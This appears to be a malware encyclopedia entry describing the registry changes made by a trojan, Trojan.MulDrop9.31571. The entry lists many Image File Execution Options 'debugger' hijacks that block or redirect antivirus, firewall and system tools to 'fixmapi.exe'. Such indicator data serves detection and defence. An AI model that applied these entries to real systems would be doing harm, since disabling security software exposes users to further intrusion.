Trojan.MulDrop9.31571

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\payload.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GeekBuddyRSP.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\launcher_service.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\unit_manager.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\unit.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chromodo_updater.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pricefountainw.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Plugin.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Desktop_Locker] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ssvchost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\z.tmp] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svncxhost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bootsvchost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\esetonlinescanner_enu.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fsproflt2.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\McClnUI.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svhost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\stub.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msdtc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\panbss.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrafSvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\prtest.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MWAGENT.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MWASER.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UdaterUI.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\naPrdMgr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\McTray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\McScript_InUse.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\FrameworkService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tps.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mfevtps.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\myAgtSvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\XTray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcshield.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mfeann.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\consctlx.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\traycser.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TRAYICOC.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\firewall_rules.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\escanmon.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MRT-KB890830.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Windows-KB890830-x64-V5.58.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avpmapp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smartscreen.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\surfguard.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gotopbr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spomua.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TmProxy.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmdvirth.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bdagent.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bdwtxag.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certsvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\networx.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\seccenter.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windefender.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ClamSentinel.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Nlas.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winmgmnt.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iptray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sfc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\1sass.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rdpthread.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\native.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCloudCleaner.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systemx.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pccntupd.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TmListen.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PccNTMon.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TMBMSRV.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NTRtScan.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MalwareProtectionClient.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scrss.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bdsafecenter.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bbservice.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DefenderDaemon.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tmPfw.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svcGenericHost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HostedAgent.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VsTskMgr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sntlkeyssrvr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BWMeterConSvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sntlsrtsrvr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\snetcfg.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vprot.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ssms32.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\helper.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fud15.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fud16.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CNTAoSMgr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smssm.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spnsrvnt.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svehost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\N360ChkServ.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setap_c.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Nsesvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Zlh.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Zanda.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Njeeves.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\elogsvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kvpncsvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchose.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.dll] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PsCtrlC.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDMiniDlUpdate.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Go.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDdaSvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaiduAnSvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDALeakfixer.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bddownloader.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaiduAnTray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Smc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\server.dat] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wqscmc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Nip.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Q.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Service.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ASCTray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SBAMTray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\indexer.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vsserv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Security.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdAwareService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmon32.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\splwowc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KMS-R@1n.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQLiveService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQProtect.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KMS-R@1nHook.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ErrorsChecking.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ErrorCheck.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mwse.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uninst.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IMFTips.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IMFsrv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IMF.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DriverBooster.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ASCService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jozruq.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svshost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ipts.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\System32.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mqsgmo.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svcnoct.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xstartui.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hkcmd.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsasvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinCtrProc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SpyHunter4.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaiduHips.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SH4Service.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nheqminer.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sapissvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\emlproxy.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ONLINENT.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OPSSVC.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPSrv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\quhlpsvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaiduProtect.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrcs.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tcpzaw.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clamd.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogn.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\trayeser.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winIogon.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\traysser.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\webtmr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wintmr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BurstTCPClient.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Isass.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\consctl.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nethtsrv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\N360.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cputest.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smcc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netupdsrv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\syshost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\USBGuard.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\prtgwatchdog.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PRTG Traffic Grapher.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\econser.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ESERV.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\econceal.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Desktop Locker.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ybrwicon.exe] 'debugger' = 'fixmapi.exe'
